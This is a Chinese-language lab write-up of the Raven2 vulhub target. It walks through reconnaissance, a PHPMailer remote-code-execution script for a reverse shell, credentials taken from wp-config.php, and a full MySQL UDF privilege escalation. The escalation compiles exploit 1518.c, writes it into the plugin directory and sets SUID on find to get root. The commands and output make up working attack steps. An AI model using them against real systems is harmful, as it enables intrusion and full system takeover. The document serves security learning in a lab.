首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >干货 | Linux之mysqlUDF提权复现

干货 | Linux之mysqlUDF提权复现

作者头像
网络安全自修室
发布2023-09-02 17:10:25
发布2023-09-02 17:10:25
1.3K00
代码可运行
举报
运行总次数:0
代码可运行
1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

复现环境

靶机为vulhub靶场中的Raven2

  • 攻击机kali2023(192.168.61.128)
  • 靶机Raven2(192.168.61.148)

信息收集

nmap扫描端口开放情况

image.png

发现开放了22,80,111端口,操作系统为Linux 访问靶机80端口 利用插件查看中间件和指纹版本(语言为PHP)

image.png

目录扫描(dirb)发现靶机是wordpress建站(可以用wpscan扫描有没有wordpress漏洞)

image.png

此外还发现另外一个目录/vendor目录,访问目录发现存在目录遍历

image.png

翻看文件README.md文件得知为phpmailer,百度phpmailer知道是一个php发送邮件的程序,且版本小于5.2.18存在漏洞远程命令执行漏洞,查看当前version版本为5.2.16

image.png

这里我使用python脚本,复制脚本到桌面,将target改为攻击目标记得加上/contact,否则无法反弹会话回来,backdoor为生成的后门文件,payload改为kali的ip和监听的端口,email那把路径改为目标机的网站根路径,可以在/vendor中查找到网站根目录(msf上也有脚本,但是我用的时候不能直接弹回会话)

然后直接python执行

image.png

要访问后门地址就可以弹回shell

执行whoami发现为www-date权限

使用python执行交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

udf提权

了解UDF

mysql内置函数不满足需要,所以mysql提供了添加新函数的机制,自行添加的mysql函数就称为UDF(Userdefined function-用户自定义函数) udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写

UDF提权原理

用户可以自定义提权的函数(比如执行系统命令)来进行提权。

UDF提权条件

代码语言:javascript
代码运行次数:0
运行
复制
1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
4.可以将udf.dll写入到相应目录的权限。

使用蚁剑上传LinEnum.sh脚本进行提权信息收集

上传到tmp目录下

image.png

运行脚本发现有mysql数据库,且无法直接使用SUID提权

查找数据库配置文件(/var/www/html/wordpress/wp-config.php)

image.png

账号root,密码R3v3nSecurity

使用蚁剑登录mysql数据库,进行mysql udf提权

kali上搜索Linux udf提权脚本

image.png

将脚本文件在本地进行编译后上传到靶机的/tmp目录下

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o

将1518.so文件通过蚁剑上传到靶机/tmp目录下

进入数据库进行udf提权

先选择一个数据库

代码语言:javascript
代码运行次数:0
运行
复制
mysql> use wordpress

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

创建表foo

代码语言:javascript
代码运行次数:0
运行
复制
mysql> create table foo(line blob);

Query OK, 0 rows affected (0.02 sec)

读取1518.so并添加到foo表里的一行

代码语言:javascript
代码运行次数:0
运行
复制
mysql> insert into foo values(load_file('/tmp/1518.so'));

Query OK, 1 row affected (0.01 sec)

查询刚才添加的数据,并并保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)

代码语言:javascript
代码运行次数:0
运行
复制
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

Query OK, 1 row affected (0.00 sec)

加载1518.so函数文件用来创建自定义函数

代码语言:javascript
代码运行次数:0
运行
复制
mysql> create function do_system returns integer soname '1518.so';

Query OK, 0 rows affected (0.01 sec)

查看mysql.func表

代码语言:javascript
代码运行次数:0
运行
复制
mysql> select * from mysql.func;

+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

执行chmod u+s /usr/bin/find命令

代码语言:javascript
代码运行次数:0
运行
复制
mysql> select do_system('chmod u+s /usr/bin/find');

+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.01 sec)

退出mysql

代码语言:javascript
代码运行次数:0
运行
复制
mysql> quit

Bye

查看foo文件touch foo 执行whoami命令,返回root,获得root权限

代码语言:javascript
代码运行次数:0
运行
复制
www-data@Raven:/var/www/html$ find foo -exec 'whoami' \;

root

查看最终flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-06-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 复现环境
  • 信息收集
  • udf提权
    • 了解UDF
    • UDF提权原理
    • UDF提权条件
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档